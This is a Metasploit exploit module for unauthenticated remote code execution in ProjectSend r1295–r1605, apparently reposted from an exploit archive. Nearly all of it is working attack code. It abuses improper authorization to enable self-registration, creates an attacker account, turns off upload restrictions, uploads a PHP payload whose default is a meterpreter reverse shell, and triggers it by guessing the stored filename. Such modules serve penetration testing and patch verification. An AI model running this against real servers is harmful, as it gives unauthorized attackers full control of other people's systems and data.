Share
## https://sploitus.com/exploit?id=PACKETSTORM:182766
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
prepend Msf::Exploit::Remote::AutoCheck  
  
class CSRFRetrievalError < StandardError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',  
'Description' => %q{  
This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.  
The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,  
disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Florent Sicchio', # Discovery  
'Hugo Clout', # Discovery  
'ostrichgolf' # Metasploit module  
],  
'References' => [  
['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],  
['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],  
],  
'DisclosureDate' => '2024-07-19',  
'DefaultTarget' => 0,  
'Targets' => [  
[  
'PHP Command',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
OptString.new(  
'TARGETURI',  
[true, 'The TARGETURI for ProjectSend', '/']  
)  
]  
)  
end  
  
def check  
# Obtain the current title of the website  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')  
})  
return CheckCode::Unknown('Target is not reachable') unless res  
  
# The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"  
title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}  
original_title = res.body[title_regex, 1]  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
return CheckCode::Unknown("#{e.class}: #{e}")  
end  
  
# Generate a new title for the website  
random_new_title = Rex::Text.rand_text_alphanumeric(8)  
  
# Test if the instance is vulnerable by trying to change its title  
params = {  
'csrf_token' => csrf_token,  
'section' => 'general',  
'this_install_title' => random_new_title  
}  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'keep_cookie' => true,  
'vars_post' => params  
})  
  
return CheckCode::Unknown('Failed to connect to the provided URL') unless res  
  
# GET request to check if the title updated  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')  
})  
  
# Extract new title for comparison  
updated_title = res.body[title_regex, 1]  
  
if updated_title != random_new_title  
return CheckCode::Safe  
end  
  
# If the title was changed, it is vulnerable and we should restore the original title  
params = {  
'csrf_token' => csrf_token,  
'section' => 'general',  
'this_install_title' => original_title  
}  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'keep_cookie' => true,  
'vars_post' => params  
})  
  
return CheckCode::Appears  
end  
  
def get_csrf_token  
vprint_status('Extracting CSRF token...')  
# Make sure we start from a request with no cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),  
'keep_cookies' => true  
})  
  
unless res  
fail_with(Failure::Unknown, 'No response from server')  
end  
  
# Obtain CSRF token  
csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text  
  
raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?  
  
vprint_good("Extracted CSRF token: #{csrf_token}")  
  
csrf_token  
end  
  
def enable_user_registration_and_auto_approve  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")  
end  
  
# Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files  
params = {  
'csrf_token' => csrf_token,  
'section' => 'clients',  
'clients_can_register' => 1,  
'clients_auto_approve' => 1,  
'clients_can_upload' => 1,  
'clients_can_delete_own_files' => 1,  
'clients_auto_group' => 0,  
'clients_can_select_group' => 'none',  
'expired_files_hide' => '1'  
}  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'vars_post' => params  
})  
  
# Check if we successfully enabled clients registration  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')  
})  
  
if res&.code == 200 && res.body.include?('Register as a new client.')  
print_good('Client registration successfully enabled')  
else  
fail_with(Failure::Unknown, 'Could not enable client registration')  
end  
end  
  
def register_new_user(username, password)  
cookie_jar.clear  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")  
end  
  
# Create a new user with the previously generated username and password  
params = {  
'csrf_token' => csrf_token,  
'name' => username,  
'username' => username,  
'password' => password,  
'email' => Rex::Text.rand_mail_address,  
'address' => Rex::Text.rand_text_alphanumeric(8)  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),  
'keep_cookie' => true,  
'vars_post' => params  
})  
  
fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403  
print_good("User #{username} created with password #{password}")  
end  
  
def disable_upload_restrictions  
cookie_jar.clear  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")  
end  
  
print_status('Disabling upload restrictions...')  
  
# Disable upload restrictions, to allow us to upload our shell  
params = {  
'csrf_token' => csrf_token,  
'section' => 'security',  
'file_types_limit_to' => 'noone'  
}  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'keep_cookie' => true,  
'vars_post' => params  
})  
end  
  
def login(username, password)  
cookie_jar.clear  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")  
end  
  
print_status("Logging in as #{username}...")  
  
# Attempt to login as our newly created user  
params = {  
'csrf_token' => csrf_token,  
'do' => 'login',  
'username' => username,  
'password' => password  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),  
'vars_post' => params,  
'keep_cookies' => true  
})  
  
# Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login  
if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))  
print_good("Logged in as #{username}")  
return csrf_token  
else  
fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')  
end  
end  
  
def upload_file(username, password, filename)  
login(username, password)  
  
# Craft the payload  
payload = get_write_exec_payload(unlink_self: true)  
data = Rex::MIME::Message.new  
data.add_part(filename, nil, nil, 'form-data; name="name"')  
data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")  
post_data = data.to_s  
  
# Upload the shell using a POST request  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'keep_cookies' => true  
})  
  
# Check if the server confirms our upload as successful  
if res && res.body.include?('"OK":1')  
print_good("Successfully uploaded PHP file: #{filename}")  
  
json_response = res.get_json_document  
@file_id = json_response.dig('info', 'id')  
  
return res.headers['Date']  
else  
fail_with(Failure::Unknown, 'PHP file upload failed')  
end  
end  
  
def calculate_potential_filenames(username, upload_time, filename)  
# Hash the username  
hashed_username = Digest::SHA1.hexdigest(username)  
  
# Parse the upload time  
base_time = Time.parse(upload_time).utc  
  
# Array to store all possible URLs  
possible_urls = []  
  
# Iterate over all timezones  
(-12..14).each do |timezone|  
# Update the variable to reflect the currently looping timezone  
adj_time = base_time + (timezone * 3600)  
  
# Insert the potential URL into our array  
possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"  
end  
  
possible_urls  
end  
  
def cleanup  
super  
  
# Delete uploaded file  
if @file_id  
cookie_jar.clear  
csrf_token = login(@username, @password)  
  
# Delete our uploaded payload from the portal  
params = {  
'csrf_token' => csrf_token,  
'action' => 'delete',  
'batch[]' => @file_id  
}  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),  
'vars_post' => params,  
'keep_cookies' => true  
})  
  
# Version r1295 uses a GET request to delete the uploaded file  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'action' => 'delete',  
'batch[]' => @file_id  
}  
})  
end  
  
cookie_jar.clear  
csrf_token = ''  
  
begin  
csrf_token = get_csrf_token  
rescue CSRFRetrievalError => e  
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")  
end  
  
# Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files  
params = {  
'csrf_token' => csrf_token,  
'section' => 'clients',  
'clients_can_register' => 0,  
'clients_auto_approve' => 0,  
'clients_can_upload' => 0,  
'clients_can_delete_own_files' => 0  
}  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'vars_post' => params  
})  
  
# Check if we successfully disabled client registration  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')  
})  
  
if res&.body&.include?('Register as a new client.')  
fail_with(Failure::Unknown, 'Could not disable client registration')  
end  
print_good('Client registration successfully disabled')  
  
print_status('Enabling upload restrictions...')  
  
# Enable upload restrictions for every user  
params = {  
'csrf_token' => csrf_token,  
'section' => 'security',  
'file_types_limit_to' => 'all'  
}  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),  
'vars_post' => params  
})  
end  
  
def trigger_shell(potential_urls)  
# Visit each URL, to trigger our payload  
potential_urls.each do |url|  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)  
}, 1)  
end  
end  
  
def exploit  
enable_user_registration_and_auto_approve  
  
username = Faker::Internet.username  
password = Rex::Text.rand_text_alphanumeric(8)  
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'  
  
# Set instance variables for cleanup function  
@username = username  
@password = password  
  
register_new_user(username, password)  
  
disable_upload_restrictions  
  
upload_time = upload_file(username, password, filename)  
  
potential_urls = calculate_potential_filenames(username, upload_time, filename)  
  
trigger_shell(potential_urls)  
end  
end